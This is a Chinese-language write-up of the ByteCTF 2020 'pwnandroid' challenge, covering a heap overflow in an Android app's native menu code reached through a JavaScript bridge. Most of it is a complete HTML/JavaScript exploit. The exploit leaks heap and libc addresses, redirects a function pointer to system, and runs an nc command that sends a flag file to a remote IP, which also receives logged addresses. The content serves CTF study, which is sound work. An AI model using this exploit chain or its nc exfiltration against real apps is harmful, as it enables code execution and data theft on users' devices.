0%

bytectf2020 pwnandroid

一个安卓端程序,native层是简单的菜单程序,其中edit功能没有检查长度,可以溢出,并且没有使用\0截断字符串,在show的时候可以泄露后续的数据

难点在于如何进行交互,程序注册了JSBridge用于与js进行交互,其中该接口对象在js中的对象名为_jsbridge

该对象有一个call函数

因此,在javascript里,可以使用javascript:_jsbridge.call设置好参数后就能调用到对应的函数。

溢出漏洞利用,覆盖函数指针为system,执行nc命令将flag文件反弹到远程服务器里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16);
}
return val;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://192.3.81.102/' + info, true);
xhr.send();
}


function add(index,size,content,back) {
content = stringToHex(content);
javascript:_jsbridge.call("add",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
}
function edit(index,size,content,back) {
content = stringToHex(content);
javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
}
function edit2(index,size,content,back) {
javascript:_jsbridge.call("edit",'{"data":{"idx":' + index.toString() + ',"size":' + size.toString() + ',"content":"' + content + '" },"cbName":"' + back + '" }');
sleep(5000);
}


function del(index,back) {
javascript:_jsbridge.call("free",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
sleep(5000);
}
function show(index,back) {
javascript:_jsbridge.call("show",'{"data":{"idx":' + index.toString() + ' },"cbName":"' + back + '" }');
}
function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;
function common_back(data) {
}


function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = t + '0';
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}


//start
add(0,0x8,getPadding(0x8,'a'),"back0");


function back0(data) {
sleep(5000);
add(1,0x8,getPadding(0x8,'b'),"back1");
}
function back1(data) {
sleep(5000);
add(2,0x8,getPadding(0x8,'c'),"back2");
}
function back2(data) {
sleep(5000);
add(3,0x8,getPadding(0x20,'d'),"back3");
}
function back3(data) {
sleep(5000);
edit(2,0x18,getPadding(0x18,'c'),"back4");;
}


function back4(data) {
sleep(5000);
show(2,"back5");
}


function back5(data) {
sleep(5000);
data = data['msg'];
heap_addr = parseInt(data.substr(54,2) + data.substr(52,2) + data.substr(50,2) + data.substr(48,2),16);
handlePc_addr = parseInt(data.substr(62,2) + data.substr(60,2) + data.substr(58,2) + data.substr(56,2),16);
elf_base = handlePc_addr - 0xbf0;
memset_got = elf_base + 0x2FDC;
edit2(2,0x1C,stringToHex(getPadding(0x18,'c'))+p32(memset_got),"back6");
//alert("heap_addr="+heap_addr.toString(16) + "handlePc_addr=" + handlePc_addr.toString(16));


}


function back6(data) {
sleep(5000);
show(3,"back7");
}


function back7(data) {
sleep(5000);
data = data['msg'];
memset_addr = parseInt(data.substr(6,2) + data.substr(4,2) + data.substr(2,2) + data.substr(0,2),16);
libc_base = memset_addr - 0x19b30;
system_addr = libc_base + 0x72b60;
log("libc_base=" + libc_base.toString(16) + " system_addr=" + system_addr.toString(16));
edit2(2,0x20,stringToHex(getPadding(0x18,'c'))+p32(heap_addr) + p32(system_addr),"back8")
}
function back8(data) {
sleep(5000);
var cmd = "nc 192.3.81.102 6666 < /data/local/tmp/flag;";
edit(3,cmd.length,cmd,"back9");
}


function back9(data) {
sleep(5000);
//alert("ready to go!");
show(3,"back10");
}


</script>
</head>


<body>
<div>haivk</div>
</body>
</html>